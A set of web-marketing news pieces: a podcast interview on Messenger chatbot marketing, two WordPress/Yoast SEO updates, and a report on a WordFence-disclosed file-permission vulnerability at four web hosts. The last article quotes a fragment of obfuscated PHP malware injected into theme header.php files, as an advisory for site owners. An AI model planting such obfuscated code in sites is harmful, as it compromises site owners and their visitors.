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Chatting About Chatbots with Virginia Nussey [PODCAST]

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More and more brands now consider using chatbots as a part of their marketing strategy.

The documented use cases prove that using chatbots can be extremely effective in doing business online.

In this Search Engine Nerds episode, I interviewed Virginia Nussey, Director of Content Marketing at MobileMonkey and creator of Botgirl.io, to discuss how businesses and marketers can make the most out of chatbots on Facebook Messenger.

Chatting About Chatbots with Virginia Nussey

You have an extensive experience in the SEO space before working for MobileMonkey. What were some of the things that you experienced that was unique to you going into the chatbot space?

Virginia Nussey (VN): What I think SEOs or marketers, in general, can be aware of is that there are always new channels and platforms emerging.

I know from my own perspective, there’s a lot of risk in jumping in a new platform. You have to learn it, understand it, and build out all new funnels.

There’s a big learning curve. Does your time really make sense to dedicate to that when you’ve got a lot of other initiatives?

But essentially it’s not about marrying a channel. It’s about finding where people are, your audience, and communicating to them there, especially if it’s where they prefer to get messaging and communications.

I guess that’s what I would say is my big evolution for myself as a marketer, since entering the chatbot space. Being open to understanding where the audience is and where they want to communicate with you.

What are the different uses for chatbots right now that you’re seeing?

VN: Probably the most exciting for me is sending essentially direct messages to people.

About 78 percent of millennials today would prefer getting a chat message than an email from brands that they follow. That’s the progression of the way that communication is flowing.

Brent Csutoras (BC): Are you seeing an actual pick up and an actual traction from chatbots by providing a short quick message instead of a newsletter?

VN: Totally. It’s a lot more lightweight. It has the ability to be more personal and engaging.

Comparatively, if you expect 20 percent open rate with email, if you’re fighting for that every time you send out an email blast, well you can look to get 50 to 80 percent in a Facebook Messenger marketing blast. That’s a big lift there.

What are some of the others areas we’re seeing chatbots roll out and what problems are they solving?

VN: Along the lines of the newsletter replacement, it’s a great way for a publisher to just hook up their RSS feed and have a direct line if they already have people who want to subscribe to updates in that sense.

For anyone who’s in ecommerce, you could send promotional messages like, “We’re having a sale.”

BC: I think you can even make purchases, right?

VN: Yeah. You could have product helper bots.

Say if you want to get this cool new skateboard, but I don’t know what size this, the bot will help you pick the product that’s right for you based on your height, goofy footedness, etc.

What are some of the considerations that a company needs to finalize before they start building a chatbot?

VN: The first step in any kind of initiative like this is figuring out what your goal is. If you are trying to do a product recommendations bot, or if you’re trying to get more webinar signups, whatever your goal is that will help you.

Some organizations write their bot from scratch, they have a whole developer team and they will write a custom bot. But not everybody is equipped for that.

So, for organizations to decide that they would rather have an easy visual chatbot building platform, then they can go to MobileMonkey.com and sign up there.

Facebook Messenger is where a lot of these bot building platforms are built on. In 2016, it opened up an API that allows tools like MobileMonkey to create visual editors.

Just like MailChimp or WordPress, it’s a visual editor that allows you to interface and create some content that you can send off to your audience.

And then so a chatbot builder that’s visual is something that you probably want to consider.

You’ll want to learn about the Facebook ads integrations because if you’re running ads on Facebook, you’re probably spending more than you need to be for leads to your website. Chatbots can help with that.

You should also understand the different analytics capabilities of your chatbot building platform.

Find out whether you can integrate it with your other business applications so that you can get leads from Messenger, and then automatically port them into your CRM or email marketing platform, or any other kind of notification system that you have.

What are the key advancements or changes on chatbots in the past year that people should be aware of?

VN: There are a number of rules that are unique to Facebook Messenger.

In email marketing, you always have to have an unsubscribe message and you can only message people that opted in for messaging. There are rules but there’s not really any central regulation for email marketing, though.

With Facebook Messenger, there is a central regulator, and you can potentially receive warnings, get banned, or have your permissions restricted if you don’t follow the rules. It is good to be aware of them.

There are three different types of messaging that you should be aware of:

  • Standard messaging.
  • Sponsored messaging.
  • Subscription messaging.

If you fall under standard messaging, you get 24 hours to message somebody who first got in touch with your bot.

I would recommend that you use that first 24 hours to try to opt them into subscription messaging, which gives you more of an unlimited ability to send follow-up messaging in the future, and that’s just basically how you get on the list.

BC: What happens after that 24 hour time period?

VN: Technically, the rule is “24+1.” After that 24-hour time period, you get one more follow-up message at any point, and that would be your last chance to get them into subscription messaging unless they engage with your bot.

So, if they send any kind of response, if they click your button or click your link or ask you a question, that’s an engagement and that resets the 24+1 clock.

What is the process to get people to subscribe?

VN: Engagement is key as with all things, but especially on Messenger.

In the first 24 hours, you can send as many messages as you want, pretty much unlimited. They can be promotional or they can be non-promotional.

I would say you set up a drip campaign. When somebody enters this audience, then I’ll send them this sequence of messages.

In the first 5 minutes or whatever it is, you are welcoming them to your bot experience. This is the time when you want to get the user to understand the value of what you’re able to provide there in Messenger. It’s a very personal experience.

It’s kind of like just text messaging with a friend. We’re asking people to become a contact in a way that we get direct push notifications.

How does sponsored messaging work?

VN: Sponsored messaging allows you to send a promotional message anytime to anybody who’s ever engaged with your Facebook Messenger chatbot. This is done through the Facebook Ads Manager.

Basically, you’re limited by people who’ve already messaged your bots, that’s the number one thing.

But it is allowing you to send a promotional message which you can’t normally do unless you follow the other rules.

You can also layer, on top of all of your contacts, the normal Facebook ad audience targeting ability, i.e., demographics, interests or your own custom audiences list.

To listen to this Search Engine Nerds Podcast with Virginia Nussey:

Think you have what it takes to be a Search Engine Nerd? If so, message Loren Baker on Twitter, or email him at loren [at] searchenginejournal.com. You can also email Brent Csutoras at brent [at] alphabrandmedia.com.

Visit our Search Engine Nerds archive to listen to other Search Engine Nerds podcasts!


Image Credits

Featured Image: Paulo Bobita

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Yoast, Google devs propose XML Sitemaps for WordPress Core

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Yoast, Google devs propose XML Sitemaps for WordPress Core


The inclusion of XML Sitemaps as a WordPress Core feature has been proposed by a group of Yoast and Google team members as well as other contributors. In addition to a basic XML Sitemap, the proposal also introduces an XML Sitemaps API that would extend functionality for developers and webmasters.

The proposed XML Sitemaps structure. Image sourced from Make WordPress Core.

What it’ll include. The proposal states that XML Sitemaps will be enabled by default, allowing for indexing of the following content types:

  • Homepage
.
  • Posts page
.
  • Core post types (Pages and Posts)
.
  • Custom post types
.
  • Core taxonomies (Tags and Categories)
.
  • Custom taxonomies
.
  • Users (Authors)
.

It’s worth keeping in mind that your WordPress site’s automatically generated robots.txt file will also reference your sitemap index.

What it won’t include. Although the proposed feature will include the majority of WordPress content types and meet search engine minimum requirements, the initial integration will not cover image, video or news sitemaps, XML Sitemaps caching mechanisms or user-facing changes such as UI controls that exclude individual posts or pages from the sitemap.

The XML Sitemaps API. Here’s how the API will let you manipulate your XML Sitemaps:

  • Provide a custom XML Stylesheet
.
  • Add extra sitemaps and sitemap entries
.
  • Add extra attributes to sitemap entries
.
  • Exclude a specific post, post type, taxonomy or term from the sitemap
.
  • Exclude a specific author from the sitemap
.
  • Exclude specific authors with a specific role from the sitemap
.

Why we should care. Sitemaps facilitate indexing by providing web crawlers with your site’s URLs. If implemented, this might mean one less third-party plugin that brands and webmasters have to rely on for their SEO efforts. As a WordPress Core feature, we can expect wider compatibility and support than we might get from third-party solutions.

Poorly optimized plugins can also slow down your site, which can have a negative impact on your organic traffic. This default option from WordPress may not replace plugins like Yoast SEO because they often include other features in addition to XML Sitemaps, but its availability has the potential to provide us with more flexibility over which plugins we install.


About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Yoast SEO 11.4 adds FAQ structured data, UX improvements

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Yoast SEO 11.4 adds FAQ structured data, UX improvements


Yoast SEO’s latest update enhances its FAQ blocks by automatically generating structured data to accompany questions and answers. The update also introduces some UX improvements and addresses issues with AMP pages when viewed in Reader mode.

How to use it. Yoast’s FAQ structured data implementation is only compatible with the WordPress block editor (also known as Gutenberg; available on versions 5.0 and newer). Webmasters can get started by selecting the FAQ block, adding a question, inputting the answer and an image (if applicable) and repeating the process for all frequently asked questions.

The Yoast FAQ block.

The corresponding FAQpage structured data will be generated in the background and added to Yoast’s structured data graph, which may help search engines identify your FAQ page and figure out how it fits into the overall scheme of your site.

A new action and filter were also introduced to make this integration more flexible. The wpseo_pre-schema_block-type_<block-type> lets you adjust the graph output based the blocks on the page and the wpseo_schema_block_<block-type> filter enables you to filter graph output on a per-block basis.

Other improvements. Yoast has also linked the SEO and readability scores in the Classic Editor and relocated the Focus keyphrase field to the top of meta box and sidebar to make it easier to find. And, they’ve resolved issues with AMP pages when viewed in Reader mode.

Why we should care. At this year’s I/O conference, Google announced support for FAQ markup, which may mean that searchers will be presented with FAQs as rich results more frequently. Being able to easily and efficiently equip our FAQ sections with structured data can yield better odds of earning prominent placement on SERPs.

For more on Yoast’s structured data implementation, check out our coverage on their 11.0 (general schema implementation), 11.1 (image and video), 11.2 (custom schema) and 11.3 (image and avatar) updates.


About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm


WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.

Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.

WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.

What Was the Server Vulnerability?

The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.

This is how WordFence described the vulnerability:

“Four conditions existed that contributed to this vulnerability:

1. Customer files are all stored on a shared file system.

2. The full path to a user’s web root directory was public or could be guessed.

3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).

4. An attacker could cause a program running in the group www to read files in arbitrary locations.”

Sites Could be Infected

WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.

It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.

Here is how WordFence described the rogue code:

“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”

Vulnerability Has Been Fixed

WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.

Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.

Read the entire announcement at the WordFence blog

Images by Shutterstock, Modified by Author



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